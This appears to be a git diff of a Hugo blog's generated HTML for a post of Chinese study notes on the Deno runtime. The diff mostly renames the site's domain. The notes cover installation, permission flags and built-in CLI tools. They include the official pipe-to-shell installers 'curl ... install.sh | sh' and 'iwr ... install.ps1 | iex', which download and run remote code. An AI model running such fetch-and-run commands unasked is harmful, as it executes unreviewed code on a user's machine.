-安装模块"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Deno js运行时环境学习笔记","item":"https://xiaochenabc123.github.io/posts/161/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Deno js运行时环境学习笔记","name":"Deno js运行时环境学习笔记","description":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot;\rDFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; {\rconsole.log(response)\r})\r运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块","keywords":["JavaScript","Deno"],"articleBody":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026 TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno –locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno –version\n第一个例子\nimport DFetch from \"https://deno.land/x/dfetch/mod.ts\"\rDFetch.get(\"https://xiaochenabc123.test.com\").then((response) =\u003e {\rconsole.log(response)\r})\r运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n–allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n–allow-hrtime，允许高分辨率时间测量\n–allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n–allow-ffi，允许加载动态库，动态库不是安全运行的\n–allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n–allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n–allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 –allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块\ndeno install –allow-net -n httpreq https://deno.land/x/dfetch/mod.ts\n卸载模块\ndeno uninstall httpreq\n格式化（支持js，ts，jsx，tsx，md，json等格式）\n格式化当前目录和子目录全部支持文件 deno fmt\n格式化指定文件 deno fmt 1.ts 2.ts\n格式化指定支持文件夹 deno fmt dist/\n检查是否已格式化 deno fmt –check\n如果需要忽略格式化，只需要在文件头部设置注释// deno-fmt-ignore-file\n打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts\n编译成执行文件（支持交叉编译，支持win64，macos64，macosarm，Linux64，通过–target属性指定） deno compile –allow-net –target aarch64-apple-darwin index.ts\n支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin\n检查依赖关系\ndeno info .\\index.ts\n如果需要查看依赖缓存位置的信息，可以直接执行deno info命令来查看\n规范检查 deno lint .\\index.ts\n检查json deno lint –json\n忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file\n下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run –no-remote –import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））\ndeno vendor index.ts\n任务（deno.json）\n{\r\"tasks\": {\r\"run\": \"deno run --allow-net index.ts \"\r}\r}\r查看已定义任务 deno task\n执行指定任务 deno task run\n也可以指定任务的工作目录 deno task –cwd .\\src run\n","wordCount":"164","inLanguage":"en","datePublished":"2022-11-11T07:00:00Z","dateModified":"2022-11-11T07:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/161/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Deno js运行时环境学习笔记</h1><div class=post-meta><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Deno-js%e8%bf%90%e8%a1%8c%e6%97%b6%e7%8e%af%e5%a2%83%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await</p><p>Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成</p><p>Deno有个特殊的功能，就是可以从网络上导入模块</p><p>安装</p><p>Linux</p><p>curl -fsSL <a href=https://deno.land/install.sh>https://deno.land/install.sh</a> | sh</p><p>或者</p><p>windows</p><p>iwr <a href=https://deno.land/install.ps1>https://deno.land/install.ps1</a> -useb | iex</p><p>也可以通过scoop安装</p><p>scoop install deno</p><p>作为Rust构建的，当然也支持Cargo包管理器安装</p><p>cargo install deno &ndash;locked</p><p>或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）</p><p><a href=https://github.com/denoland/deno/releases>https://github.com/denoland/deno/releases</a></p><p>检查是否安装完成</p><p>deno &ndash;version</p><p>第一个例子</p><pre><code>import DFetch from &quot;https://deno.land/x/dfetch/mod.ts&quot;
-DFetch.get(&quot;https://xiaochenabc123.test.com&quot;).then((response) =&gt; {
-    console.log(response)
-})
+安装模块"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Deno js运行时环境学习笔记","item":"https://chenjunlinabc.github.io/posts/161/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Deno js运行时环境学习笔记","name":"Deno js运行时环境学习笔记","description":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026amp; TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno \u0026ndash;locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno \u0026ndash;version\n第一个例子\nimport DFetch from \u0026quot;https://deno.land/x/dfetch/mod.ts\u0026quot; DFetch.get(\u0026quot;https://xiaochenabc123.test.com\u0026quot;).then((response) =\u0026gt; { console.log(response) }) 运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过\u0026ndash;allow-net默认运行，例如：deno run \u0026ndash;allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n\u0026ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n\u0026ndash;allow-hrtime，允许高分辨率时间测量\n\u0026ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n\u0026ndash;allow-ffi，允许加载动态库，动态库不是安全运行的\n\u0026ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n\u0026ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n\u0026ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 \u0026ndash;allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块","keywords":["JavaScript","Deno"],"articleBody":"Deno是基于V8引擎，使用Rust构建的JavaScript \u0026 TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await\nDeno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成\nDeno有个特殊的功能，就是可以从网络上导入模块\n安装\nLinux\ncurl -fsSL https://deno.land/install.sh | sh\n或者\nwindows\niwr https://deno.land/install.ps1 -useb | iex\n也可以通过scoop安装\nscoop install deno\n作为Rust构建的，当然也支持Cargo包管理器安装\ncargo install deno –locked\n或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）\nhttps://github.com/denoland/deno/releases\n检查是否安装完成\ndeno –version\n第一个例子\nimport DFetch from \"https://deno.land/x/dfetch/mod.ts\" DFetch.get(\"https://xiaochenabc123.test.com\").then((response) =\u003e { console.log(response) }) 运行\ndeno run .\\index.ts\n它会向你询问进行网络请求，是否允许，可通过–allow-net默认运行，例如：deno run –allow-net .\\index.ts\n第三方库通过https://deno.land/x查找\n权限\n–allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔\n–allow-hrtime，允许高分辨率时间测量\n–allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔\n–allow-ffi，允许加载动态库，动态库不是安全运行的\n–allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔\n–allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔\n–allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔\n-A 或者 –allow-all 允许全部权限\nVsCode插件deno\ndeno内置工具\n安装模块\ndeno install –allow-net -n httpreq https://deno.land/x/dfetch/mod.ts\n卸载模块\ndeno uninstall httpreq\n格式化（支持js，ts，jsx，tsx，md，json等格式）\n格式化当前目录和子目录全部支持文件 deno fmt\n格式化指定文件 deno fmt 1.ts 2.ts\n格式化指定支持文件夹 deno fmt dist/\n检查是否已格式化 deno fmt –check\n如果需要忽略格式化，只需要在文件头部设置注释// deno-fmt-ignore-file\n打包 deno bundle https://deno.land/x/dfetch/mod.ts httpreq.ts\n编译成执行文件（支持交叉编译，支持win64，macos64，macosarm，Linux64，通过–target属性指定） deno compile –allow-net –target aarch64-apple-darwin index.ts\n支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin\n检查依赖关系\ndeno info .\\index.ts\n如果需要查看依赖缓存位置的信息，可以直接执行deno info命令来查看\n规范检查 deno lint .\\index.ts\n检查json deno lint –json\n忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file\n下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run –no-remote –import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））\ndeno vendor index.ts\n任务（deno.json）\n{ \"tasks\": { \"run\": \"deno run --allow-net index.ts \" } } 查看已定义任务 deno task\n执行指定任务 deno task run\n也可以指定任务的工作目录 deno task –cwd .\\src run\n","wordCount":"164","inLanguage":"en","datePublished":"2022-11-11T07:00:00Z","dateModified":"2022-11-11T07:00:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/161/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Deno js运行时环境学习笔记</h1><div class=post-meta><span title='2022-11-11 07:00:00 +0000 UTC'>2022-11-11</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Deno-js%e8%bf%90%e8%a1%8c%e6%97%b6%e7%8e%af%e5%a2%83%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Deno是基于V8引擎，使用Rust构建的JavaScript & TypeScript 运行时环境，天生支持TypeScript，并且有安全模式（默认情况下无法获取网络，文件系统，环境变量等权限，当然也可以开放），Deno的作者是Nodejs之父Ryan Dahl，构建的原因是解决Nodejs的缺陷，例如模块的安全性（Node运行时的权限很高，缺乏模块的安全运行），Deno的模块化选择了ESMoule标准，而且具备浏览器的api，例如window全局变量，支持onload，onunload等事件函数，支持fetch，Web Workers等标准，异步操作返回采用Promise，支持await</p><p>Deno不使用node_modules与package.json的包管理机制，而是采用下载编译的机制，并且存在缓存，模块更新通过更新缓存来完成</p><p>Deno有个特殊的功能，就是可以从网络上导入模块</p><p>安装</p><p>Linux</p><p>curl -fsSL <a href=https://deno.land/install.sh>https://deno.land/install.sh</a> | sh</p><p>或者</p><p>windows</p><p>iwr <a href=https://deno.land/install.ps1>https://deno.land/install.ps1</a> -useb | iex</p><p>也可以通过scoop安装</p><p>scoop install deno</p><p>作为Rust构建的，当然也支持Cargo包管理器安装</p><p>cargo install deno &ndash;locked</p><p>或者通过单一的可执行文件来安装（我采用这个方式，再配置一下Path环境变量就是可以了，windows选择deno-x86_64-pc-windows-msvc）</p><p><a href=https://github.com/denoland/deno/releases>https://github.com/denoland/deno/releases</a></p><p>检查是否安装完成</p><p>deno &ndash;version</p><p>第一个例子</p><pre><code>import DFetch from &quot;https://deno.land/x/dfetch/mod.ts&quot;
+DFetch.get(&quot;https://xiaochenabc123.test.com&quot;).then((response) =&gt; {
+    console.log(response)
+})
 </code></pre><p>运行</p><p>deno run .\index.ts</p><p>它会向你询问进行网络请求，是否允许，可通过&ndash;allow-net默认运行，例如：deno run &ndash;allow-net .\index.ts</p><p>第三方库通过https://deno.land/x查找</p><hr><p>权限</p><p>&ndash;allow-env，允许访问环境变量，可指定环境变量列表，通过逗号分隔</p><p>&ndash;allow-hrtime，允许高分辨率时间测量</p><p>&ndash;allow-net，允许网络访问，可指定网络地址列表，通过逗号分隔</p><p>&ndash;allow-ffi，允许加载动态库，动态库不是安全运行的</p><p>&ndash;allow-read，允许读取，可指定读取文件列表或者目录，使用逗号分隔</p><p>&ndash;allow-run，允许运行子进程，这个子进程不是安全运行的，可指定子进程列表，通过逗号分隔</p><p>&ndash;allow-write，允许写入，可指定写入文件列表或者目录，使用逗号分隔</p><p>-A 或者 &ndash;allow-all 允许全部权限</p><hr><p>VsCode插件deno</p><hr><p>deno内置工具</p><p>安装模块</p><p>deno install &ndash;allow-net -n httpreq <a href=https://deno.land/x/dfetch/mod.ts>https://deno.land/x/dfetch/mod.ts</a></p><p>卸载模块</p><p>deno uninstall httpreq</p><p>格式化（支持js，ts，jsx，tsx，md，json等格式）</p><p>格式化当前目录和子目录全部支持文件
 deno fmt</p><p>格式化指定文件
 deno fmt 1.ts 2.ts</p><p>格式化指定支持文件夹
@@ -110,16 +110,16 @@
 deno bundle <a href=https://deno.land/x/dfetch/mod.ts>https://deno.land/x/dfetch/mod.ts</a> httpreq.ts</p><p>编译成执行文件（支持交叉编译，支持win64，macos64，macosarm，Linux64，通过&ndash;target属性指定）
 deno compile &ndash;allow-net &ndash;target aarch64-apple-darwin index.ts</p><p>支持的值有x86_64-unknown-linux-gnu, x86_64-pc-windows-msvc, x86_64-apple-darwin, aarch64-apple-darwin</p><p>检查依赖关系</p><p>deno info .\index.ts</p><p>如果需要查看依赖缓存位置的信息，可以直接执行deno info命令来查看</p><p>规范检查
 deno lint .\index.ts</p><p>检查json
-deno lint &ndash;json</p><p>忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file</p><p>下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run &ndash;no-remote &ndash;import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））</p><p>deno vendor index.ts</p><p>任务（deno.json）</p><pre><code>{
-    &quot;tasks&quot;: {
-        &quot;run&quot;: &quot;deno run --allow-net index.ts &quot;
-    }
-}
+deno lint &ndash;json</p><p>忽略规范检查请在文件头部设置注释，// deno-lint-ignore-file</p><p>下载全部远程依赖项到本地文件夹中（会放到vendor文件下，其中import_map.json是依赖地址文件，deno.land文件夹是依赖项的存储文件夹，可以在deno.json下指定import_map.json或者deno run &ndash;no-remote &ndash;import-map=vendor/import_map.json index.ts来离线使用模块（也不使用模块））</p><p>deno vendor index.ts</p><p>任务（deno.json）</p><pre><code>{
+    &quot;tasks&quot;: {
+        &quot;run&quot;: &quot;deno run --allow-net index.ts &quot;
+    }
+}
 </code></pre><p>查看已定义任务
 deno task</p><p>执行指定任务
 deno task run</p><p>也可以指定任务的工作目录
-deno task &ndash;cwd .\src run</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://xiaochenabc123.github.io/tags/deno/>Deno</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/162/><span class=title>« Prev</span><br><span>汇编基础学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/159/><span class=title>Next »</span><br><span>计算机图形学学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+deno task &ndash;cwd .\src run</p><hr></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/javascript/>JavaScript</a></li><li><a href=https://chenjunlinabc.github.io/tags/deno/>Deno</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/162/><span class=title>« Prev</span><br><span>汇编基础学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/159/><span class=title>Next »</span><br><span>计算机图形学学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/162/index.html b/posts/162/index.html
index 796fa3c3..4c1c95b0 100644
--- a/posts/162/index.html
+++ b/posts/162/index.html
@@ -50,8 +50,8 @@
 x64架构，在PAE的基础上扩展了页表为4级，而且每个页面的大小是4096字节，高9位是页目录指针表，后9位是页目录指针，再后9位是页目录，然后9位是页表。最后12位是页内偏移量
 虚拟内存
 进程是以内存页面为单位向操作系统申请内存的，现代操作系统中会对申请的内存空间进行记录，并不会马上分配，而是等到该进程真正访问该内存空间是才会分配物理页面并且进行映射，然后恢复中断程序，如果进程访问了没有映射的内存空间，会被操作系统进行page fault处理，操作系统通过page failt handle进行检查内存空间分配记录
